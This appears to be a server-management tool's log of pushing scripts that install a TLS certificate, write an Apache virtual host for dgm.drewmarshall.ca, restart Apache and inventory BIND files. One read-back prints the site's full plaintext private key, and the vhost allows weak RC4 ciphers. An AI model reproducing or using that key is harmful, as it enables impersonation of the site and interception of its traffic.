AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-13 08:07:11: 

chmod 755 /tmp/pkp580037; /tmp/pkp580037; rm /tmp/pkp580037

2026-05-13 08:07:11: 


dir=/etc/ssl/certs


2026-05-13 08:07:11: 

PUT: /tmp/pkp710830

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-13 08:07:11: 

chmod 755 /tmp/pkp710830; /tmp/pkp710830; rm /tmp/pkp710830

2026-05-13 08:07:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-13 08:07:11: 

PUT: /tmp/pkp581896

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi


2026-05-13 08:07:11: 

chmod 755 /tmp/pkp581896; /tmp/pkp581896; rm /tmp/pkp581896

2026-05-13 08:07:11: 




2026-05-13 08:07:11: 

PUT: /tmp/pkp123374

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-13 08:07:11: 

chmod 755 /tmp/pkp123374; /tmp/pkp123374; rm /tmp/pkp123374

2026-05-13 08:07:11: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-13 08:07:11: Establishing a connection
2026-05-13 08:07:12: 

PUT: /tmp/pkp256905

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-13 08:07:12: 

chmod 755 /tmp/pkp256905; /tmp/pkp256905; rm /tmp/pkp256905

2026-05-13 08:07:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-13 08:07:12: 

PUT: /tmp/pkp257805

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-13 08:07:12: 

chmod 755 /tmp/pkp257805; /tmp/pkp257805; rm /tmp/pkp257805

2026-05-13 08:07:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf	1339

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-13 08:07:12: 

PUT: /tmp/pkp321799

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-13 08:07:12: 

chmod 755 /tmp/pkp321799; /tmp/pkp321799; rm /tmp/pkp321799

2026-05-13 08:07:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt	5360
9d:0b:b7:35:4e:ec:c3:03:ea:32:c8:ca:0b:dc:e0:80

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBrjS8DSq03mtcSqybi5jnU9wMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTEzMDcwODQwWhcNMjYwODExMDcwODM5WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAyP7l0cA8YyCSYjytkOZdJ+Q1FzQH6/s3d4HZ4bbEgzowSFKzMN5I+tQ5
mokcQuyY8SN2k1i1zr1bzgtw/+O28cXq4TR9dRflkEAcaFrQFITp5y8aGhb9Udt9
7DsVvWmxCsjOj9tmiLJqY1jIFtxEvVTd3fyalgl+tc8Pi6MF1t13eqEpZWED6duG
r7KS0lEr8z0/aI8DJeCDsANTh7NSa0rs2qA/mx8Y2RpivclNH73Hh22y76GSB1Zb
u18Lok85wgmD3kn2Ujaep4lOgCO6xiqMt0xiTUAl1+Z974cXG7+wzYmX0kRoTpZr
g1LYLRjWkOE+GNoHrt36nXTyhJDiCwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FPKjEM7Bwktvy4lv3Wosd4LGd7a6MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITZGdtLmRyZXdtYXJzaGFsbC5jYTATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzExMy5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDIo8R/
x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ4gYB0dAAAEAwBHMEUCIQDJ
Xpk9i4Hpg36HcXs83dwYVm1wlFKSWSQD00BPlOhuSAIgab4wqDVJMXkUmcSsJyea
rcw8FCAYjdLxztAwX/xLFRUAfgCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCz
EjxVJwAAAZ4gYB2hAAgAAAUACrKT7gQDAEcwRQIgPPr1mWqluF5q2GCVxPpMzhW0
nUeb8Ge2ssPreQUvzYoCIQCgmz5eJe7aKCaJNl9shyB0I49N4pYr5ISCEXqZhpbU
0DANBgkqhkiG9w0BAQsFAAOCAQEAOV17WVhwasMxnogvsgx2WXm1yIhiQG+tQjuB
P/ETv2WVphawsCoIHmmstfQrtneZD0aeALG/luU0Lfd5+MIexO5fDZ0eF/vxg2WJ
aGg3gQV+UOOqRmF7AxW3jNz1xneWjlyHt1oqE9bOnTkvKf0gv5M9fJZBR3cCY/vh
C+n164c0ehizFVrE8FRupDbkypN5VwJB7RT86dRLJqYB9ZVyWFNXQcLY7X5vX96Q
qsULOyClXvjiFQRk0BEFfJE1B/v3iOjm16Psd74Ok9Enq/PIC7mgBZQAnIlYCSeR
jMBR4JujDl294+r/bA3QI2eip4qcYS1/YZQpUOWAq9SgWcMIMQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDI/uXRwDxjIJJi
PK2Q5l0n5DUXNAfr+zd3gdnhtsSDOjBIUrMw3kj61DmaiRxC7JjxI3aTWLXOvVvO
C3D/47bxxerhNH11F+WQQBxoWtAUhOnnLxoaFv1R233sOxW9abEKyM6P22aIsmpj
WMgW3ES9VN3d/JqWCX61zw+LowXW3Xd6oSllYQPp24avspLSUSvzPT9ojwMl4IOw
A1OHs1JrSuzaoD+bHxjZGmK9yU0fvceHbbLvoZIHVlu7XwuiTznCCYPeSfZSNp6n
iU6AI7rGKoy3TGJNQCXX5n3vhxcbv7DNiZfSRGhOlmuDUtgtGNaQ4T4Y2geu3fqd
dPKEkOILAgMBAAECggEAUwKm8s40gnIQ0t6hhj8FyTRgUtFr1iOeIE6yKBy+Iz5U
c4IoPG4JcQJWOgMXd3JUpf6R+b/A8n3VHQ8vn5cx1r95RoJRsBrq9fzsXpLm7hqI
qbCT1KObAoQmiPpL+7rbYgtV+CbSPXGGK7qehIZ7I0CaExTA2WdZfAfksTRmdHqt
e+ReqicEG4usjlFPlsFxtpj9S+gnncKsgjad5j/skGJ6/6KzVQXJ0EBa80cp3wYc
tr0oor0dNsh7Q/k8Ry8HhsIf0Oo72t6VsVnYsPsS8/Pyj0kLgKyRldm0LUcuXp36
OI/IgIp/O9kLvIOkjr/reMT1/W0cwmy0TBg8/l3zmQKBgQD7uBJs4Y7LQFFC/Dts
CeFO4ZN9SDB/96XL+5buhBogIJpzvdHQXyk6qxch/t5lPKC4b6XrPSDbR590EYS+
/jAEJOWUs5uamAneHPi/IJg4KKxihSQU40W1P3qAIDjJuaawZX25P9JIrdNpUFC6
7vuYcxW7MbXR18JakspZOfyluQKBgQDMafzd8dZLnHTuOQaXK1JuEnI8KplDALuV
NQU84SdD0JpH0ydSpkO6rss03qh/m9/ma1veOkcE9ahKpNIq7Zvuu0D5kzjRocwC
KuFtWVohMN8JE21CYjeYEK9G12JuwOrcgeyGPmQSILziNNSBlLCgoY2IvCTAnXrC
G3MaIADn4wKBgQCXt9m7MLSNg0W3dyols0rO7Z2lHHbHGrAe45SUTKEmjiAp9NZa
npDOIMM/pUvMfx9sKzc5M03zfRb5sXluWOz+AnMyDpOSOWNxMcsn//BfoPxOIWue
/2FLnmgqg8FWrQRwO6vslTAcyFCtoFAYa+TPfUYy3wJ06XPmfaVi5FWIWQKBgHWg
R7Ivh3DbBy5OAkza0QQl+TZGDQtRUJ/7cpglt8J+N0k9aFNW+YJjMuupdKx5tc2R
2bt3LYbdFYpebdHmCOTHPAxhe0CmKg7VPgL+d67BwJYoZ6bbfcIzV6kcJ7gzqvJY
kRJutIb577b7T42BUmIclKUqHrv34rvvr7xIzjyhAoGAW8GNtQlq6WaEo7+/05pN
ldeZT2LgJYAI8Y7Yuu4YLAAT4R8TbPBaK0qwEpC/+qtH4vvaGubp6HxobveaEXXl
C5w6T+tLlxLzRYRMoplmEp0WDKCXjbPbVfNMWLnAyvlc5hDDGszz2f8emI9lM14N
CaO2fPeCUSkViFT9clIQdxk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-13 14:07:47: Establishing a connection
2026-05-13 14:07:56: Establishing a connection
2026-05-13 14:07:56: 

PUT: /tmp/pkp339737

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:07:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp339737; rm /tmp/pkp339737'

2026-05-13 14:07:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
